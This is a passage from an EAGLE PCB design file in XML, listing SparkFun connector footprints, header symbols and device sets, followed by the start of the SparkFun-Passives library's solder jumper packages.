y2=\"-2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.5\" y1=\"-0.35\" x2=\"-1.75\" y2=\"-0.35\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-2\" y=\"0.3\" radius=\"0.1414\" width=\"0.4\" layer=\"21\"/>\n<smd name=\"NC2\" x=\"-2.3\" y=\"-3.675\" dx=\"1.2\" dy=\"2\" layer=\"1\"/>\n<smd name=\"NC1\" x=\"2.3\" y=\"-3.675\" dx=\"1.2\" dy=\"2\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1\" y=\"0\" dx=\"0.6\" dy=\"1.35\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"0\" dx=\"0.6\" dy=\"1.35\" layer=\"1\"/>\n<smd name=\"3\" x=\"1\" y=\"0\" dx=\"0.6\" dy=\"1.35\" layer=\"1\"/>\n<text x=\"-1.73\" y=\"1.73\" size=\"0.4064\" layer=\"25\" rot=\"R180\">&gt;NAME</text>\n<text x=\"3.46\" y=\"1.73\" size=\"0.4064\" layer=\"27\" rot=\"R180\">&gt;VALUE</text>\n</package>\n<package name=\"1X03_SMD_RA_FEMALE\">\n<wire x1=\"-3.935\" y1=\"4.25\" x2=\"-3.935\" y2=\"-4.25\" width=\"0.1778\" layer=\"21\"/>\n<wire x1=\"3.935\" y1=\"4.25\" x2=\"-3.935\" y2=\"4.25\" width=\"0.1778\" layer=\"21\"/>\n<wire x1=\"3.935\" y1=\"-4.25\" x2=\"3.935\" y2=\"4.25\" width=\"0.1778\" layer=\"21\"/>\n<wire x1=\"-3.935\" y1=\"-4.25\" x2=\"3.935\" y2=\"-4.25\" width=\"0.1778\" layer=\"21\"/>\n<rectangle x1=\"-0.32\" y1=\"6.8\" x2=\"0.32\" y2=\"7.65\" layer=\"51\"/>\n<rectangle x1=\"2.22\" y1=\"6.8\" x2=\"2.86\" y2=\"7.65\" layer=\"51\"/>\n<rectangle x1=\"-2.86\" y1=\"6.8\" x2=\"-2.22\" y2=\"7.65\" layer=\"51\"/>\n<smd name=\"3\" x=\"2.54\" y=\"7.225\" dx=\"1.25\" dy=\"3\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"2\" x=\"0\" y=\"7.225\" dx=\"1.25\" dy=\"3\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"1\" x=\"-2.54\" y=\"7.225\" dx=\"1.25\" dy=\"3\" layer=\"1\" rot=\"R180\"/>\n<text x=\"-3.155\" y=\"2.775\" size=\"1\" layer=\"27\">&gt;Value</text>\n<text x=\"-2.955\" y=\"-3.395\" size=\"1\" layer=\"25\">&gt;Name</text>\n</package>\n<package name=\"1X03_SMD_RA_MALE\">\n<wire x1=\"3.81\" y1=\"1.25\" x2=\"-3.81\" y2=\"1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"-3.81\" y1=\"1.25\" x2=\"-3.81\" y2=\"-1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"3.81\" y1=\"-1.25\" x2=\"2.53\" y2=\"-1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"2.53\" y1=\"-1.25\" x2=\"-0.01\" y2=\"-1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"-0.01\" y1=\"-1.25\" x2=\"-2.55\" y2=\"-1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"-2.55\" y1=\"-1.25\" x2=\"-3.81\" y2=\"-1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"3.81\" y1=\"-1.25\" x2=\"3.81\" y2=\"1.25\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"2.53\" y1=\"-1.25\" x2=\"2.53\" y2=\"-7.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-0.01\" y1=\"-1.25\" x2=\"-0.01\" y2=\"-7.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.55\" y1=\"-1.25\" x2=\"-2.55\" y2=\"-7.25\" width=\"0.127\" layer=\"51\"/>\n<rectangle x1=\"-0.32\" y1=\"4.15\" x2=\"0.32\" y2=\"5.95\" layer=\"51\"/>\n<rectangle x1=\"-2.86\" y1=\"4.15\" x2=\"-2.22\" y2=\"5.95\" layer=\"51\"/>\n<rectangle x1=\"2.22\" y1=\"4.15\" x2=\"2.86\" y2=\"5.95\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.54\" y=\"5\" dx=\"3\" dy=\"1\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"0\" y=\"5\" dx=\"3\" dy=\"1\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"3\" x=\"2.54\" y=\"5\" dx=\"3\" dy=\"1\" layer=\"1\" rot=\"R90\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"M02\">\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"-2.54\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"2.54\" x2=\"2.54\" y2=\"2.54\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"5.08\" x2=\"-2.54\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"3.81\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"5.08\" x2=\"3.81\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<text x=\"-2.54\" y=\"5.842\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<pin name=\"1\" x=\"7.62\" y=\"0\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"2\" x=\"7.62\" y=\"2.54\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n</symbol>\n<symbol name=\"M03\">\n<wire x1=\"3.81\" y1=\"-5.08\" x2=\"-2.54\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"2.54\" x2=\"2.54\" y2=\"2.54\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-2.54\" x2=\"2.54\" y2=\"-2.54\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"5.08\" x2=\"-2.54\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"3.81\" y1=\"-5.08\" x2=\"3.81\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"5.08\" x2=\"3.81\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-7.62\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<text x=\"-2.54\" y=\"5.842\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<pin name=\"1\" x=\"7.62\" y=\"-2.54\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"2\" x=\"7.62\" y=\"0\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"3\" x=\"7.62\" y=\"2.54\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"M02\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;Header 2&lt;/b&gt;\nStandard 2-pin 0.1\" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115). Molex polarized connector foot print use with SKU : PRT-08233 with associated crimp pins and housings.</description>\n<gates>\n<gate name=\"G$1\" symbol=\"M02\" x=\"-2.54\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"PTH\" package=\"1X02\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POLAR\" package=\"MOLEX-1X2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM\" package=\"SCREWTERMINAL-3.5MM-2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-JST-2MM-SMT\" package=\"JST-2-SMD\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"PROD_ID\" value=\"CONN-08352\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PTH2\" package=\"1X02_BIG\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"4UCON-15767\" package=\"JST-2-SMD-VERT\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"GND\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"VCC\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"ROCKER\" package=\"R_SW_TH\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$3\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"5MM\" package=\"SCREWTERMINAL-5MM-2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK\" package=\"1X02_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POLAR_LOCK\" package=\"MOLEX-1X2_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK_LONGPADS\" package=\"1X02_LOCK_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM_LOCK\" package=\"SCREWTERMINAL-3.5MM-2_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH3\" package=\"1X02_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1X02_NO_SILK\" package=\"1X02_NO_SILK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"JST-PTH-2\" package=\"JST-2-PTH\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH4\" package=\"1X02_XTRA_BIG\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POGO_PIN_HOLES_ONLY\" package=\"1X02_PP_HOLES_ONLY\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM-NO_SILK\" package=\"SCREWTERMINAL-3.5MM-2-NS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-JST-2-PTH-NO_SILK\" package=\"JST-2-PTH-NS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"JST-PTH-2-KIT\" package=\"JST-2-PTH-KIT\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SPRING-2.54-RA\" package=\"SPRINGTERMINAL-2.54MM-2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"M03\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;Header 3&lt;/b&gt;\nStandard 3-pin 0.1\" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115). Molex polarized connector foot print use with SKU : PRT-08232 with associated crimp pins and housings.</description>\n<gates>\n<gate name=\"G$1\" symbol=\"M03\" x=\"-2.54\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"PTH\" package=\"1X03\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POLAR\" package=\"MOLEX-1X3\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SCREW\" package=\"SCREWTERMINAL-3.5MM-3\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK\" package=\"1X03_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK_LONGPADS\" package=\"1X03_LOCK_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POLAR_LOCK\" package=\"MOLEX-1X3_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SCREW_LOCK\" package=\"SCREWTERMINAL-3.5MM-3_LOCK.007S\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1X03_NO_SILK\" package=\"1X03_NO_SILK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LONGPADS\" package=\"1X03_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"JST-PTH\" package=\"JST-3-PTH\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POGO_PIN_HOLES_ONLY\" package=\"1X03_PP_HOLES_ONLY\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-SCREW-5MM\" package=\"SCREWTERMINAL-5MM-3\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK_NO_SILK\" package=\"1X03_LOCK_NO_SILK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"\" package=\"JST-3-SMD\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SMD\" package=\"1X03-1MM-RA\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SMD_RA_FEMALE\" package=\"1X03_SMD_RA_FEMALE\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"PROD_ID\" value=\"CONN-10926\"/>\n<attribute name=\"VALUE\" value=\"1x3 RA Female .1&quot;\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"SMD_RA_MALE\" package=\"1X03_SMD_RA_MALE\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"3\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"PROD_ID\" value=\"CONN-10925\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun-Passives\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"SJ_2S-TRACE\">\n<description>Solder jumper, small, shorted with trace. No paste layer. Trace is cuttable.</description>\n<wire x1=\"0.8255\" y1=\"-1.016\" x2=\"-0.8255\" y2=\"-1.016\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8255\" y1=\"1.016\" x2=\"1.0795\" y2=\"0.762\" width=\"0.2032\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.0795\" y1=\"0.762\" x2=\"-0.8255\" y2=\"1.016\" width=\"0.2032\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.0795\" y1=\"-0.762\" x2=\"-0.8255\" y2=\"-1.016\" width=\"0.2032\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.8255\" y1=\"-1.016\" x2=\"1.0795\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-0.8255\" y1=\"1.016\" x2=\"0.8255\" y2=\"1.016\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.2032\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.508\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<smd name=\"2\" x=\"0.508\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.9525\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.9525\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"SJ_2S\">\n<description>Small solder jumper with big paste layer so it will short during reflow.</description>\n<wire x1=\"0.8\" y1=\"-1\" x2=\"-0.8\" y2=\"-1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"1\" x2=\"1.1\" y2=\"0.75\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.1\" y1=\"0.75\" x2=\"-0.8\" y2=\"1\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.1\" y1=\"-0.75\" x2=\"-0.8\" y2=\"-1\" width=\"0.1524\" layer=\"21\" curve=\"90.114706\"/>\n<wire x1=\"0.8\" y1=\"-1\" x2=\"1.1\" y2=\"-0.75\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.1\" y1=\"-0.75\" x2=\"1.1\" y2=\"0.75\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"-0.75\" x2=\"-1.1\" y2=\"0.75\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.8\" y1=\"1\" x2=\"0.8\" y2=\"1\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.4119\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.4119\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\"/>\n<text x=\"-0.9498\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.9498\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.2192\" y1=\"-1.143\" x2=\"1.2192\" y2=\"1.143\" layer=\"31\"/>\n</package>\n<package name=\"SJ_2S-NOTRACE\">\n<wire x1=\"0.8\" y1=\"-1\" x2=\"-0.8\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"1\" x2=\"1\" y2=\"0.7\" width=\"0.2032\" layer=\"21\" curve=\"-90.076445\"/>\n<wire x1=\"-1\" y1=\"0.7\" x2=\"-0.8\" y2=\"1\" width=\"0.2032\" layer=\"21\" curve=\"-90.03821\"/>\n<wire x1=\"-1\" y1=\"-0.7\" x2=\"-0.8\" y2=\"-1\" width=\"0.2032\" layer=\"21\" curve=\"90.03821\"/>\n<wire x1=\"0.8\" y1=\"-1\" x2=\"1\" y2=\"-0.7\" width=\"0.2032\" layer=\"21\" curve=\"90.03821\"/>\n<wire x1=\"-0.8\" y1=\"1\" x2=\"0.8\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.4009\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" rot=\"R180\" cream=\"no\"/>\n<smd name=\"2\" x=\"0.4127\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.9525\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.9525\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.016\" y1=\"-1.016\" x2=\"1.016\" y2=\"1.016\" layer=\"31\"/>\n</package>\n<package name=\"SJ_2S-NO\">\n<description>Small solder jumper with no paste layer so it will open after reflow.</description>\n<wire x1=\"0.8\" y1=\"-1\" x2=\"-0.8\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"1\" x2=\"1\" y2=\"0.7\" width=\"0.2032\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1\" y1=\"0.7\" x2=\"-0.8\" y2=\"1\" width=\"0.2032\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1\" y1=\"-0.7\" x2=\"-0.8\" y2=\"-1\" width=\"0.2032\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.8\" y1=\"-1\" x2=\"1\" y2=\"-0.7\" width=\"0.2032\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-0.8\" y1=\"1\" x2=\"0.8\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.45\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<smd name=\"2\" x=\"0.45\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.908\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.908\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"SJ\">\n<wire x1=\"0.381\" y1=\"0.635\" x2=\"0.381\" y2=\"-0.635\" width=\"1.27\" layer=\"94\" curve=\"-180\" cap=\"flat\"/>\n<wire x1=\"-0.381\" y1=\"-0.635\" x2=\"-0.381\" y2=\"0.635\" width=\"1.27\" layer=\"94\" curve=\"-180\" cap=\"flat\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.651\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.651\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"2.54\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"2\" x=\"5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"1\" x=\"-5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"SOLDERJUMPER\" prefix=\"SJ\">\n<description>&lt;b&gt;Solder Jumper&lt;/b&gt;\nStandard SMD solder jumper. Used to automate production. Two varients : Normally Open and Normally Closed are the same, but have different paste layers. NC will have a large amount of paste 